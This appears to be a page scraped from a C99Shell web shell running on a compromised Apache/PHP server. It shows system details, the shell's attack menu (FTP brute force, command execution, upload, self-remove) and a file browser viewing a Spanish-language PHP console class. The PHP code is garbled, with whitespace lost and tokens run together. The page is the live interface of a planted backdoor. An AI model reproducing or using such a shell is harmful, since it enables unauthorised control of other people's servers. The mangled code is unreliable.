!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/php/consola/   drwxr-xr-x
Free 14.92 GB of 61.93 GB (24.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     menu.php (1.52 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

class menu
{
    protected 
$consola;
    
    function 
__construct$consola )
    {
        
$this->consola $consola;    
    }
    
    function 
get_titulo()
    {
        return 
"";    
    }
    
    function 
mostrar_observaciones()
    {
    }
    
    function 
get_comandos()
    {
        return array();    
    }

    
//----------------------------------------------
    // Interface grafica
    //----------------------------------------------

    
function get_info_comandos()
    {
        
$info = array();
        
$comandos $this->get_comandos();
        foreach( 
$comandos as $comando )
        {
            
$clase_comando 'comando_' $comando;
            require_once( 
$this->consola->get_ubicacion_comandos() .'/'.$clase_comando.'.php');
            
$info[$clase_comando] = call_user_func( array( $clase_comando'get_info') );
        }
        return 
$info;
    }

    function 
mostrar_ayuda_raiz()
    {
        
$this->consola->titulo$this->get_titulo() );
        
$this->mostrar_observaciones();
        
$this->consola->enter();
        
// Armo la coleccion de comandos
        
$comandos = array();
        foreach ( 
$this->get_info_comandos() as $comando => $info ) {
            
$comandos[substr($comandostrlen('comando_'))] = $info;
        }
        
// Muestro la lista
        
$this->consola->subtitulo("Comandos disponibles");
        
$this->consola->coleccion$comandos );
    }

    function 
mostrar_resumen()
    {
        
$this->consola->enter();
        
$this->consola->linea_completanull'_');
        
$c toba_cronometro::instancia();
        
$tiempo number_format($c->tiempo_acumulado(),3,",",".");
        
$this->consola->mensaje("TIEMPO: $tiempo segundos");
        
//print_r( $c->get_marcas() );
    
}
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.7874 ]--